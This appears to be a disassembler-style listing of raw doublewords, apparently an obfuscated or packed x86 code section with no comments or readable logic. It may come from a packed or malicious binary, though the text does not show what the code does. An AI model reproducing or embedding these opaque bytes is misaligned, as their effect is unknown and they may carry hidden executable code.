		dd 5AD78B66h, 0FE93189h, 46000000h, 6EBA3CD9h, 0B5B91CDAh
		dd 13FA1377h, 0E983CFCFh, 5E804h, 65040000h, 609A4BB5h
		dd 5F506160h, 0E8815F61h, 1, 0FF8E850Fh, 8060FFFFh, 8D6126D4h
		dd 4F72168Dh, 41BD8B06h, 8906480Fh, 4814058Dh, 25B58906h
		dd 0C7064817h, 48302585h, 70F806h, 19958900h, 0C706481Ch
		dd 482AD985h, 6, 0AE800h, 35EF0000h, 0DC0ABEFBh, 58443C43h
		dd 0CDB52960h, 66064830h, 613B77BBh, 198D295Ah,	0FF064810h
		dd 481221B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 7195FFB3h, 6A06480Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0AE1CC351h
		dd 11DBF903h, 635D0B9h,	95FF006Ah, 648092Dh, 3AEBC08Bh
		dd 6C25C4EDh, 77E8790h,	8E949B5Eh, 0C7D5259Fh, 737492F2h
		dd 0C6CA1A6Ah, 13FF8928h, 451F85A2h, 0BDD9F921h, 7DAA246Ah
		dd 0DFD97B44h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 0C08B911Ch
		dd 15Ch	dup(0)
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F2C35646h
		dd 14E9F9F9h, 25000000h, 7B8D15A5h, 84D7DDE0h, 50EA48ACh
		dd 1452232Dh, 0F0A3795h, 0C83h,	6890F00h, 0F000000h, 83h
		dd 0E870F00h, 60000000h, 0CB24EE81h, 8C0F3914h,	0
		dd 66609D61h, 0E960D88Bh, 12h, 9FF160E8h, 0ED20A56Eh, 9F26BD7Dh
		dd 0FAEE3C0Dh, 840FBAA0h, 0
aAaaj		db 'aaaj',0
		db 57h,	0E8h, 3
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8E65C357h, 880F251Eh, 1, 6A5DFCFCh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5F7AC350h
		dd 7FA31218h, 6E960FCh,	8000000h, 30F36C4Eh, 44016161h
		dd 6A0824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0F30FADC3h, 58F98A65h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0DCC35242h,	0F5FC6755h, 9E9h
		dd 1002EE00h, 781BC8EAh, 0C39D7D85h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0F4C35141h,	47D8500Fh, 0DFBF8D11h
		dd 6AF945h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0B07C96C3h, 0FE960F9h, 0BF000000h, 91E05F92h
		dd 0EA9C7C22h, 0BBE0E91Ch, 0B70FEAD2h, 0C08B61FBh, 10E860h
		dd 0CA330000h, 922ECE5h, 7FD65187h, 5DFFF349h, 11E9045Bh
		dd 0C1000000h, 81B6EF30h, 28D89BA2h, 9094953Bh,	0E086AA3Fh
		dd 0A5CA815Bh, 617DE63Bh, 0D88166FCh, 0BF0FC7FEh, 11E9F0h
		dd 6E290000h, 24D470CFh, 7E3653ECh, 0FEA60C20h,	507117E6h
		dd 5023B950h, 595819A9h, 1DD78060h, 0EE8h, 0F4938300h
		dd 68444C4Dh, 0B5CC4DEh, 0E807185Ah, 0Eh, 0A79412FBh, 16407C46h
		dd 352B51E2h, 5E58746Fh, 830F6061h, 2, 0C68099B0h, 8B0F617Fh
		dd 2, 59BF61B1h, 806ADCB9h, 7E84AF7h, 0FE000000h, 86D6B6EAh
		dd 8B66AD84h, 0BA665BC2h, 0BA66B971h, 0BF0F8B51h, 0D78166D7h
		dd 0F6002EEh, 8166CBBFh, 615C80CAh, 0E9CA8B66h,	13h, 3329DB31h
		dd 0D7CA1510h, 0E07A47DBh, 0C10AF522h, 804F6FD6h, 0BF6649CCh
		dd 0DE9B7BFh, 0AB000000h, 0E44C6DE0h, 4B0B7BAEh, 0CC039320h
		dd 0C181F8F9h, 7CAC850Dh, 8E9h,	0DC9DDE00h, 641EDDCh, 8BFC605Fh
		dd 0CC8061CBh, 8BF6B7DFh, 66EA8AF0h, 0DE9D38Bh,	17000000h
		dd 3902E183h, 0F972B572h, 6D29ED54h, 8B70D280h,	0F0B70FFBh
		dd 66CEBF0Fh, 0E9B417BEh, 5, 91DC4082h,	0F6BF0FE6h, 800CED80h
		dd 0FE94CF5h, 0EB000000h, 0B7F581F3h, 9CBC7A3Bh, 0E802D62Ah
		dd 0C2805EEFh, 32D981F8h, 604688B7h, 0AC99E681h, 14E930C2h
		dd 7F000000h, 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h
		dd 6118DC39h, 785BF66h,	0CE8F9h, 0B2A30000h, 0D433AD8Eh
		dd 0AE97D6F9h, 0BFB61584h, 8785BF5Fh, 0DE8492Bh, 26000000h
		dd 0D7C1ED5Ch, 0BD501A18h, 0D1C1DF1Bh, 0DF12DA81h, 0F5E1AC0h
		dd 83h,	11E900h, 0CFA90000h, 3D95FA85h,	4BB669BCh, 79E2AEADh
		dd 60EF5D2Bh, 66C0BF0Fh, 61FE73B8h, 9E8h, 8EFF8E00h, 71026990h
		dd 8058895Fh, 0E0B518C7h, 0A8D0FF5h, 60000000h,	0CA815A53h
		dd 79AEBCF0h, 0E8DA8B61h, 11h, 0A77A6C07h, 829B1C5Ch, 9C947189h
		dd 0B41BB482h, 58ADB132h, 0C38B6660h, 6061C38Ah, 3860Fh
		dd 0BF0F0000h, 10E8C8h,	21CB0000h, 62E9DEC7h, 7E49300Bh
		dd 88FB2F51h, 0EA81A60Bh, 83CF299h, 13E86158h, 0FE000000h
		dd 7564730Eh, 0A1B72BCBh, 4A42B345h, 0E5B4D440h, 0B70F7D16h
		dd 0BE665EDFh, 0F57AE05h, 286h,	5F30B200h, 0D9816660h
		dd 66617665h, 0B0EBE281h, 0B6AC781h, 14E90A65h,	8F000000h
		dd 95296D2h, 1A064257h,	23F13C7Eh, 0CD0C5DB6h, 605A0DA5h
		dd 14E9F560h, 53000000h, 0D34D051Bh, 976D0DB6h,	56F4466Fh
		dd 37F50195h, 6173566Ah, 14E860h, 5DD60000h, 0A416FAECh
		dd 6B7A28C1h, 1039D00Dh, 9D81CBFBh, 0F95B2FD5h,	5A506161h
		dd 54C28166h, 59B860C5h, 61172FB4h, 0F9CB8B66h,	0EE9h
		dd 0D76A8E00h, 0EA7C90FBh, 53B3847Ch, 0BA76B90Fh, 3F5BDB21h
		dd 7FD480F8h, 7E9h, 0B3C95C00h,	0CD686906h, 0E8CB8B66h
		dd 0Dh,	3B60D229h, 3DC3AC2Dh, 8ACFA88Ah, 0C18B66C2h, 9E8505Eh
		dd 0E000000h, 0E799BA59h, 0FEE2251Ah, 5E59D48Ah, 80FB8B66h
		dd 8E978DDh, 0F4000000h, 37FCAA9Dh, 0E8E5DEEBh,	0Ch, 1F0C877Eh
		dd 9614E582h, 0A628FD5Ch, 9E95Fh, 76E40000h, 26B26B71h
		dd 8047CD46h, 0F28123D2h, 23583CCCh, 81663FB6h,	0F345EF7h
		dd 484h, 0B4B86600h, 0D4A4BA33h, 0BA664A8Eh, 0BB66A418h
		dd 81F975DFh, 29898FC0h, 0CE828h, 7EE60000h, 0CF29150h
		dd 0BC6B6B98h, 0E4B9439Fh, 5A22ACFFh, 46B622BFh, 51F7815Ch
		dd 8035EB42h, 0E9F905F0h, 14h, 9D562C8Bh, 193F55C4h, 83679FC0h
		dd 7190E631h, 0F436197Dh, 60D8B70Fh, 6E9h, 5033E900h, 0E9B62A7Ch
		dd 11h,	129DEC2Eh, 31E97F36h, 0D411FC6Ch, 0EC4B6757h, 8B606148h
		dd 0CE9C7h, 8DB70000h, 0D885A515h, 11222462h, 8A61F042h
		dd 66DC8ACEh, 8E8F38Bh,	0AA000000h, 206B6FB2h, 0FCCA5673h
		dd 0CE8B665Fh, 0D2B86660h, 0C08166D7h, 0E9618F74h, 5, 0F6E66F37h
		dd 0CA51B9A1h, 13E86A5Fh, 1B000000h, 25400106h,	14ECB710h
		dd 0AE6D1A1Fh, 0C33D52A2h, 0F58639Ch, 0C8Eh, 68A0F00h
		dd 81000000h, 96A239EAh, 66D48A11h, 8B0FCF8Bh, 6, 0FBFCD381h
		dd 8E82CD5h, 27000000h,	58B2FD6Eh, 0FD22686h, 38Bh, 0F98B6600h
		dd 12E859h, 8B770000h, 0A8E6F944h, 3B44BD7Bh, 88D11FB1h
		dd 1E6BFD31h, 6AB5EA81h, 66580B93h, 621ED081h, 10E9F78Bh
		dd 9000000h, 0E3A3A8Eh,	3EC1A277h, 4A628EA1h, 668B0360h
		dd 0ED99C881h, 8E8h, 5D259700h,	2A605B39h, 2890FF2h, 0B6000000h
		dd 816658D0h, 81FC06F3h, 0B6B61DD0h, 3464BF65h,	0FB8B7910h
		dd 0C870Fh, 830F0000h, 6, 870Fh, 8B660000h, 57C2B4F8h
		dd 10E9h, 800D1B00h, 0A8A84D18h, 0CF959CFDh, 0BE4F1A31h
		dd 820F5F76h, 3, 0E9CFBF0Fh, 6,	46ABB689h, 0C8B62F38h
		dd 0CE9h, 580C3200h, 0C2BF5AD0h, 0F6110EACh, 8C0FAAh, 66000000h
		dd 880FD38Bh, 0Ah, 5E9h, 7DFE5F00h, 81609270h, 0B35505E6h
		dd 0CE8B6656h, 31BE6661h, 48E0F6Ah, 60000000h, 0F615E56h
		dd 0BA66F9B7h, 8E9B153h, 5A000000h, 0E63C4590h,	66F32575h
		dd 0B96107BBh, 7C4D3B62h, 7E9h,	94768100h, 1838897Bh, 14E8h
		dd 0D5470C00h, 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh
		dd 0F575B1Bh, 685h, 8A0F00h, 5F000000h,	0CE857h, 8A6C0000h
		dd 237E8BE1h, 8A0BAC95h, 22B622D6h, 0C0BB5A5Eh,	0E84861E6h
		dd 0Bh,	6C83B40Ah, 8BC2ACD6h, 661AD1A1h, 5AC8C8BBh, 97CA8166h
		dd 0E8CF8BC8h, 12h, 3FB9B657h, 0EDFA21Dh, 9563D742h, 0F8EA206Ch
		dd 5056A88Ch, 0F5E5F5Bh, 281h, 66D38B00h, 5E9D68Bh, 0CE000000h
		dd 83E9116Bh, 890F6053h, 0
		dd 5E61D18Ah, 11E857h, 0BDB40000h, 5B04AE17h, 0E2A9D94Dh
		dd 23DE819Ah, 0E82899B5h, 0Fh, 37079D6Bh, 0D55EF98Ch, 0DE2F0EE2h
		dd 59919141h, 8B0F595Bh, 19h, 14E9h, 3B39FD00h,	79E9F754h
		dd 423883A0h, 0F51FB5D1h, 0D67D9C65h, 8676BB33h, 8D0F6251h
		dd 3, 0E9F0BF0Fh, 8, 533EE39Ch,	0AA30D6E8h, 0F5D38B66h
		dd 0E5F18166h, 0BB42B926h, 810F467Ah, 3, 52F6BF0Fh, 31EB8166h
		dd 81665E29h, 813AD9E1h, 23042AD9h, 4890F68h, 66000000h
		dd 661F32B9h, 0E851F28Bh, 0Ch, 1AD67280h, 0A7717A6Eh, 8CE7AB9Dh
		dd 860Fh, 5F590000h, 3860Fh, 0F5800000h, 0AE9AAh, 995D0000h
		dd 0D4AAE500h, 68D51C96h, 31E337BBh, 60DE8B20h,	3A47E781h
		dd 890F0B2Eh, 12h, 0CE8h, 0E7A1D00h, 0E98B0AB7h, 1701A7B5h
		dd 0E9615FE2h, 0Dh, 57912FC7h, 2B32649Ah, 0D240581Ch, 8127B471h
		dd 4FBFA5D2h, 66DD8A19h, 8097CFBFh, 11E825C5h, 4C000000h
		dd 85EE2C5h, 52CBD6C5h,	0CA55E1ECh, 0B797E517h,	6860Fh
		dd 870F0000h, 0
		dd 0BB66605Ah, 61F93BB7h, 13F780F8h, 0FFFBF0Fh,	0B866F6B7h
		dd 0F5805A19h, 0A4CBB9BDh, 0E28054C4h, 0D78BF925h, 12E8h
		dd 66000400h, 65752683h, 0FC53321Ch, 0C6C210Eh,	81AA25D2h
		dd 6C80B1D6h, 0FE95A18h, 64000000h, 791659B2h, 0B8117847h
		dd 9B42EA02h, 0AE89CB8h, 9C000000h, 0FC907BDDh,	0C3BD48D5h
		dd 5ACE8B1Ch, 1FC881F5h, 0F84CEC3Fh, 0EA72F781h, 4FB87831h
		dd 0F55A2E6Ah, 91C88166h, 6E98Fh, 4ACC0000h, 0D33E63AAh
		dd 6870BA66h, 0D34FDAB8h, 7E80Dh, 74BC0000h, 8B982CF5h
		dd 66F95BE7h, 531EE81h,	66C0BF0Fh, 0FAF37BFh, 8F0FF0B7h
		dd 2, 12E928B2h, 0C8000000h, 0D6FE16C4h, 14CAC07Eh, 0BEB81DCDh
		dd 0DFC75829h, 0BE9DDh,	0A31D0000h, 0AA8D8AF0h,	0E4CD65CCh
		dd 66CB8BC9h, 8526D981h, 88D0Fh, 8A0F0000h, 2, 0BF66F28Bh
		dd 8B66D1E3h, 506060D8h, 0B9EA815Eh, 616F9B85h,	0EDE08166h
		dd 78BA6183h, 8B7B849Eh, 0B7BA66F9h, 0FE84Fh, 5FED0000h
		dd 955D69D5h, 0DA1BF246h, 2554F1C7h, 0BA6653BCh, 5B5BD634h
		dd 1F43A3BAh, 28B0F14h,	8B000000h, 0FA8B66F8h, 0FA7B7F5h
		dd 0DCBFD9BFh, 0F12AF9Eh, 0BF66F7BFh, 0BE80060h, 5A000000h
		dd 5A23F555h, 0A6F02F80h, 8166E4DAh, 5A0B96F2h,	10E95660h
		dd 5B000000h, 2C0868Ah,	0F9D11EA2h, 0A3E6C2A9h,	59A139F3h
		dd 0B666BB60h, 13E94436h, 0C1000000h, 0E0B1C2E2h, 96A7E4F3h
		dd 191AB31Dh, 1AB4C3D5h, 61617B74h, 8AC18BF8h, 92BF66D9h
		dd 0D68B66A6h, 5BC88B53h, 1D810Fh, 810F0000h, 17h, 12E9h
		dd 0A98F8C00h, 9C317988h, 52799B89h, 28E4A662h,	0FB50687h
		dd 66FCCFBFh, 0F9BABFB9h, 0BB5E51F8h, 5E51A030h, 9E953h
		dd 125D0000h, 4C4C35F6h, 59D2D8D5h, 5AF18B52h, 59565360h
		dd 0BE959h, 1CB10000h, 0D8E0D0DEh, 0D5383C77h, 0DC8A611Ch
		dd 850Fh, 0F600000h, 488h, 20B86600h, 0C6B86683h, 0E78161BDh
		dd 3D258D7Dh, 6E8F9h, 32410000h, 0C0A1B886h, 8E95Bh, 6B5F0000h
		dd 0DAE26930h, 0C8808718h, 6660FCA7h, 5161C38Bh, 7E9h
		dd 853B3800h, 0CFEC209Eh, 0F50B45Eh, 48Ah, 66BA6600h, 0EE85Ch
		dd 99150000h, 0A29160C8h, 0F202F00Bh, 0D34E799Fh, 3830Fh
		dd 0F6800000h, 0B8665A9Ah, 8C0F53FAh, 5, 50E968B8h, 12E940h
		dd 13B50000h, 77F34130h, 0D541BA71h, 5081EFBh, 0CED5D21Ch
		dd 83DE8166h, 0CB816645h, 0BF0F427Dh, 0E9DA8BD7h, 0Eh
		dd 0BD739D3Fh, 1E6F7F8Ch, 22EFAD4h, 8166A4D0h, 6621FBC0h
		dd 12E9DF8Bh, 25000000h, 0D8094D0Bh, 3CDF60D6h,	0D318D640h
		dd 0FD8D2F53h, 0E0B1F92Fh, 6652C18Bh, 0B0D5D781h, 0DA81665Ah
		dd 870F0920h, 0Eh, 9E9h, 6C18E900h, 5B180E15h, 0BF0F4E31h
		dd 0F9F08BC2h, 85CB8166h, 10E993h, 86270000h, 45477C9Bh
		dd 0ACADB1D9h, 0F0ACCC43h, 50F8C27Dh, 2880Fh, 0D08B0000h
		dd 58A0F58h, 0BA000000h, 2C6C2034h, 0EB6BBB66h,	0AE9h
		dd 573E7F00h, 81B1E5A1h, 0E9DE090Bh, 0Fh, 8EC80718h, 2A894D8Bh
		dd 0D736DD1h, 66244548h, 0DE9DE8Bh, 0BE000000h,	8E3E84D9h
		dd 4EDC27E1h, 7CA5B258h, 0E8ACED80h, 0Bh, 8FE2DC9Bh, 6C3446AFh
		dd 8B006AB1h, 11E95EDAh, 89000000h, 0A24753ABh,	20F540B1h
		dd 89A76D1Dh, 0B1621FACh, 63E7BA66h, 13E9h, 9B5E0700h
		dd 259F8E94h, 92F2C7D5h, 1A6A7374h, 8928C6CAh, 0BBD64BEh
		dd 0D8B70F46h, 81661DB6h, 0B9AB6FE9h, 1A8E1C0Bh, 6810FFCh
		dd 81000000h, 5D0534E6h, 850F6018h, 0
		dd 10E861h, 0D5A00000h,	0ABDB4BD4h, 493E19F5h, 64E5D2CCh
		dd 0E86010B7h, 0Eh, 0DDC4E572h,	0BF47C6D3h, 133F0F29h
		dd 0F5A2CE2h, 8Dh, 66596100h, 2C08F381h, 0FEBF0F60h, 0F355F5BFh
		dd 66606155h, 0AD0C081h, 8161DE8Bh, 0CE5E77D1h,	2EA8BB16h
		dd 0CE806DF2h, 0E8FA8B47h, 8, 0ADD73CA4h, 4F810D02h, 0F859ACB1h
		dd 0F7E4B966h, 0C9806AB7h, 7DD4807Fh, 3BB819BEh, 28D0F3Fh
		dd 8A000000h, 0FCCABAFEh, 815004E8h, 4E2245E6h,	66FC5E37h
		dd 667B7AB9h, 0E95AC7BEh, 13h, 49ACF3A8h, 0E2FB7992h, 4FD60C4h
		dd 3ADBCCE0h, 0F5100C5h, 0E9F8F2B7h, 0Bh, 0D232B532h, 914BFA1Bh
		dd 0F009AFBh, 0BF66DEB7h, 0C1B0C117h, 0BE8h, 0EF649D00h
		dd 34AB4C9Ah, 9E1FF8F3h, 0CB50F281h, 665E067Eh,	0E91835B8h
		dd 9, 0FF93BCBFh, 849B6E3Dh, 5880FA0h, 0B8000000h, 2EE72CA7h
		dd 820FB4B5h, 17h, 12E9h, 434BE00h, 29FF579h, 4CF93A97h
		dd 7CECDF50h, 6025AEA6h, 0FE8h,	48FE3000h, 0A13C71Ch, 0D36F01Fh
		dd 282548EDh, 7E9h, 0DA8C0200h,	0ECB0C6A2h, 0CA8B6659h
		dd 5E861h, 0B6C60000h, 8BAF94DAh, 816659DEh, 0E9ABA1D3h
		dd 5, 36A02634h, 0DB8166FDh, 860F22E0h,	2, 0AE86EB1h, 1F000000h
		dd 71557E65h, 3EF15188h, 28BB66D1h, 14E95848h, 81000000h
		dd 0C7E413E9h, 4BED4EEBh, 0AE6ABF72h, 0A1710C21h, 6085F53Fh
		dd 7F36B8F8h, 666160E8h, 0F79F281h, 0DE8h, 0FD1B6B00h
		dd 796415Dh, 63FBA866h,	0C881F7D9h, 23387201h, 0BE66515Bh
		dd 0E95B929Dh, 12h, 0A7332619h,	9266E1FFh, 0F93BCC40h
		dd 1FB685E3h, 8B66A18Ch, 0D08166F8h, 0E9F956BDh, 9, 0F4F0CDB9h
		dd 0F3A73728h, 0F443BE1Dh, 8D0F49A7h, 2, 14BAACB1h, 0F10239Eh
		dd 0C18BD3BFh, 4800Fh, 0B8660000h, 800F91FAh, 0
		dd 28B0F60h, 60000000h,	0AE861h, 6DE50000h, 0E2BDA13Fh
		dd 467E64A6h, 0EE8h, 87CBC100h,	582D2F73h, 9FF3F4Bh, 5A4BE69Ah
		dd 59BE6158h, 666304B6h, 0B3C608BAh, 3870F80h, 80000000h
		dd 8B0FC7C6h, 6, 880Fh,	0F38B0000h, 0F50FE8Bh, 684h, 8B0F00h
		dd 58000000h, 0F4B966F8h, 0D98BF591h, 9E9A5B3h,	0D2000000h
		dd 6F46289Dh, 0D43CB33Fh, 6612CF80h, 0B966F98Bh, 7E8B38Eh
		dd 0EE000000h, 0F23E2000h, 0CE8E923h, 0E0000000h, 65554AF9h
		dd 35EC063Ch, 5034A5FAh, 805B5858h, 0E860FFF0h,	6, 40CAC4FCh
		dd 0AE97A54h, 6B000000h, 4D026D26h, 2677229Ah, 0B70F5BF1h
		dd 0F88B61D3h, 0F557BF66h, 9E9h, 8AB30D00h, 400E4DCEh
		dd 7E86A68h, 0FF000000h, 0FB213702h, 4FBE268Ah,	5805C002h
		dd 8AD88B66h, 11E9E5h, 3DB40000h, 512F0745h, 40B02ACEh
		dd 0C2642ABAh, 6673A593h, 0F5631ABEh, 8C0Fh, 0E0810000h
		dd 480D8359h, 0BFDFB70Fh, 21504D13h, 0E95B57F8h, 7, 53849C16h
		dd 0E973854Eh, 0Bh, 0A7E4054h, 20B5389Ch, 0F1F97DDh, 180h
		dd 8B66FC00h, 12E9C7h, 0CD340000h, 50B7243Dh, 9AE082D0h
		dd 0C302887h, 0AEBC0CD6h, 8E9h,	3247E300h, 8744395Ch, 2860F22h
		dd 8A000000h, 8E8CFh, 2C950000h, 110AA538h, 0F598A7Ah
		dd 583h, 0CF816600h, 12E9E2CFh,	15000000h, 579E1275h, 9E1C7181h
		dd 8068E639h, 49FE932Dh, 9E8608Ch, 0E0000000h, 0D0B7A4ACh
		dd 0A2D7BB03h, 0B361FC59h, 870F6084h, 5, 309C49B9h, 0F88B661Bh
		dd 0BA66FC61h, 0E68A0789h, 1334B866h, 0F9F2B70Fh, 69C38160h
		dd 8B57B906h, 0F56061F3h, 27558CBEh, 0FD8A6112h, 0F41CF80h
		dd 28Fh, 669FB600h, 0BE0EF181h,	0E8AFDF80h, 5, 3B89FC44h
		dd 1DD88104h, 584342D7h, 4082BF66h, 8A60CA8Bh, 11E961E5h
		dd 0FE000000h, 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h
		dd 0DE8h, 1EE68700h, 3CD7450Dh,	0BF964918h, 82B91CAEh
		dd 595762DFh, 0CBB70FF9h, 0D6B70F60h, 3820Fh, 0BF0F0000h
		dd 6E961D3h, 71000000h,	0F10CA10Ch, 0F08093h, 0E9DE8B66h
		dd 13h,	362576E0h, 0F9E59928h, 0B34E19E5h, 94C68E1Dh, 669D1B4Bh
		dd 0A64BF381h, 4038AABBh, 66FC6006h, 99E2C881h,	66DCB261h
		dd 0E9E670BBh, 0Ah, 0EB461CB9h,	2419AB1Fh, 0BF606E53h
		dd 1D29A56Bh, 0DE8B6661h, 7D29BF66h, 80C1B70Fh,	810F05E9h
		dd 3, 51D2BF0Fh, 5EC9BF0Fh, 8AFA8B66h, 8AF08BE6h, 0E9E18AD0h
		dd 0Ah,	0C59896B8h, 0A3B11726h,	8F0FFCA4h, 17h,	0FE8h
		dd 0A95BF000h, 0DB51B2CCh, 0CC40E09h, 9F2E818Ah, 665BC68Bh
		dd 52A168BEh, 8B66F85Bh, 0CE8DAh, 39BF0000h, 3567A95h
		dd 520782E1h, 0C58ADA10h, 0DE8B665Ah, 0C800Fh, 800F0000h
		dd 6, 140AF681h, 66F916EAh, 0F5A9CBFh, 0F8Fh, 0AE900h
		dd 887B0000h, 819778Bh,	1361A4B6h, 0B6B9B966h, 0F23E780h
		dd 383h, 0D6B70F00h, 0D6B70FF8h, 0FB8B6660h, 0BE5566B8h
		dd 0EE81612Bh, 591D2AA0h, 5157FFB3h, 5B5AD98Ah,	0E1816660h
		dd 0E8810E6Ah, 427B21Ch, 11E861h, 0E62B0000h, 302468FAh
		dd 99DB41C8h, 0FAA7C8E6h, 6632943Fh, 0F58F38Bh,	180h, 0B70FF900h
		dd 10E8FAh, 0DE6C0000h,	0E76A7EA0h, 7D3501D5h, 6DA78135h
		dd 0FE91DF9h, 71000000h, 3457DB07h, 4F6066CFh, 7CEDB924h
		dd 0B85E7D51h, 73943C9Dh, 512A73B9h, 0B5CB8B34h, 51ACB548h
		dd 5FFAC680h, 3716B966h, 2820Fh, 0BFB00000h, 3DCDBA66h
		dd 0BE9h, 0F5B82A00h, 72D8F588h, 6B05611Eh, 0BF08166h
		dd 5E96079h, 98000000h,	0D16D4F9Fh, 0E2816660h,	0B70FE125h
		dd 0F6161DAh, 189h, 0B70FF900h,	0D08166C9h, 8166B87Eh
		dd 0F4BD7C3h, 13E8D7BFh, 4B000000h, 7646D1B5h, 0D2317733h
		dd 22CED9D8h, 924E3663h, 9CBA0DB8h, 5A43BC22h, 0EDFBBA66h
		dd 3E85EE81h, 6FB83531h, 0F598894h, 28Dh, 81D58A00h, 352C33D9h
		dd 0BB66F85Bh, 0DE9006Eh, 0B4000000h, 0EBFDB109h, 0CA30B62Ch
		dd 62786264h, 28E0Fh, 0F28B0000h, 663BE080h, 0A88ACA81h
		dd 10E96060h, 93000000h, 0E2FA201Ch, 71A12BCDh,	2A2E923Ch
		dd 812F7590h, 0BD9929E9h, 0E861613Bh, 0Eh, 0EAC77D3Fh
		dd 66021C15h, 68030F3Dh, 0B55AC097h, 12E9B2h, 6EA90000h
		dd 15CE424Fh, 242AFA98h, 0D726056Ah, 0C23DCB67h, 5DB9A9BAh
		dd 6E860h, 0B1E50000h, 0DE090B81h, 6659EF8Ah, 8B21E881h
		dd 0D3802BB6h, 0D98B665Dh, 11E9h, 0B2446E00h, 0CA0A14F9h
		dd 0E34262D6h, 0C61E9144h, 830F8624h, 3, 0F5DABF0Fh, 53F88B66h
		dd 7FD18166h, 840F5EE2h, 2, 8B66D08Ah, 0BB93BBD1h, 0D08A0C91h
		dd 2870Fh, 0F1B30000h, 56CA8B66h, 0CE9h, 8E289500h, 0F686A82Bh
		dd 0EDEDD001h, 0EE85828h, 4000000h, 6F21A31Ch, 1A71D720h
		dd 0A38FA60Fh, 8B5BF82Ah, 0B8E0FFBh, 0F000000h,	58Fh, 0AD34BE00h
		dd 800F4CD3h, 14h, 0FE9h, 1E403400h, 0B8255867h, 9F43ED76h
		dd 3EED1340h, 0C8A0Fh, 870F0000h, 6, 820Fh, 0BE660000h
		dd 60B3E932h, 7840FF9h,	60000000h, 0F5E68166h, 8F0F6163h
		dd 4, 0FBCEB866h, 0B70FE18Ah, 38B0FF1h,	80000000h, 0DE933EFh
		dd 0D5000000h, 5CEB0D9Ch, 0C3C94CA0h, 0EA79C388h, 0A9E6B950h
		dd 0E85A1A7Ch, 9, 294D2BC9h, 698C478Dh,	0F28B66A6h, 830F575Fh
		dd 15h,	10E9h, 0CA138700h, 2C0AAE45h, 0C935B547h, 0B83E269Ah
		dd 5E85F29h, 0E5000000h, 0E043608Ah, 7335F381h,	0E9596E46h
		dd 14h,	0FDC6D9A0h, 4658729Ah, 0E20C1C1Fh, 0FEC4705Fh
		dd 2E477F74h, 3E09B966h, 14E9h,	0D88C0800h, 24554303h
		dd 9B14984Fh, 431F11Ah,	2DC31C24h, 9E8E4h, 7E7C0000h, 0D5C7BE2Eh
		dd 8A60DCE1h, 0FE95FC7h, 0A2000000h, 4F3A05F6h,	734561DEh
		dd 99303BE5h, 13E87D9Dh, 0D8000000h, 955BAC05h,	0B3C2C4B4h
		dd 86050A51h, 0CA755D89h, 5B5126B7h, 0DF8B665Bh, 6E9h
		dd 0C224100h, 0E91F9F28h, 0Dh, 0C7DD10ABh, 0C94F3B0Ah
		dd 44E1ED7Ch, 40D280EFh, 1B89EE81h, 0B8665546h,	820FEB9Ch
		dd 4, 585F5352h, 0CE95251h, 0C2000000h,	41841A64h, 0BA479BFFh
		dd 5E3F91C7h, 0C3B70F5Ah, 8E0FCA8Ah, 2,	7E9CEB0h, 0D000000h
		dd 61BF4F81h, 0BE601554h, 2416D459h, 61F2B70Fh,	0FF28B66h
		dd 0B160C6B7h, 0E961F832h, 14h,	7536A8FBh, 5E2743F5h, 0E64A60BBh
		dd 23F6A8BBh, 60CD298Dh, 880Fh,	0BB660000h, 8B5735CFh
		dd 12E95FDEh, 0EA000000h, 6F669453h, 1C3DB5DFh,	0E23225AAh
		dd 867EA415h, 0D281667Ch, 11E9F236h, 0
		dd 31A36CDEh, 89DAFD86h, 0FC4E98B9h, 2362517Bh,	12E8h
		dd 8D308F00h, 0B7257168h, 0F648086Bh, 0F5AE3683h, 60DC0B2Eh
		dd 5EF78166h, 0D78B6648h, 66F85961h, 0E9B617B9h, 6, 96E8136Dh
		dd 8B66F7C8h, 6C92BAF9h, 0DB813C94h, 0D7279E9h,	0B8665650h
		dd 5E5A9596h, 6E9FCh, 7BA20000h, 73D2E8Fh, 81D78B66h, 0A57EE6E8h
		dd 0D3816610h, 0A0BB3BFAh, 813937BEh, 72247C8h,	5E9FC4Fh
		dd 0F4000000h, 0DABB2858h, 0AE953h, 92EC0000h, 4F8A3AFEh
		dd 60F2FD2Eh, 97B96659h, 6E86054h, 0E8000000h, 0C32629B4h
		dd 13E9FFh, 3D980000h, 0EEB07C1h, 98D0A696h, 0C101E9AFh
		dd 0EB80DE3h, 8B6659C5h, 0F6BE61D3h, 605F99C1h,	3EA1B966h
		dd 32BF6652h, 80615E2Ch, 0BE9AEDBh, 82000000h, 0BC1CEF36h
		dd 0E37FF0DEh, 665100B3h, 0D6ADF681h, 11E85Eh, 0D0620000h
		dd 74392C44h, 0E7C47750h, 0D3C0BDDFh, 0F55625Bh, 0B45AD8BFh
		dd 0E9BE66C6h, 0B1F18A76h, 0AE929h, 6BDF0000h, 26801BB0h
		dd 4BD551A4h, 0EE9h, 1B341300h,	75E06334h, 0DA76AFFFh
		dd 0B93406D4h, 22927CC7h, 5BB6660h, 0EE81613Bh,	70FCC89Ah
		dd 0DE8h, 4349AF00h, 7BF963DBh,	9598FBCh, 0C681346Ch, 278752Ah
		dd 11E959h, 0CC070000h,	0F0E38ED0h, 3C34164Ah, 0A8228547h
		dd 500DF317h, 38C0Fh, 8B660000h, 0E3805ED6h, 890F60A1h
		dd 2, 56536160h, 60615B5Bh, 9B8491BEh, 0CE855h,	16510000h
		dd 1D28AAC1h, 0F8A325E5h, 8B66982Fh, 0F615BC8h,	8166FABFh
		dd 66EDCBD8h, 0DA81D78Bh, 6EF4F29h, 59FE8B56h, 0C59C1BB8h
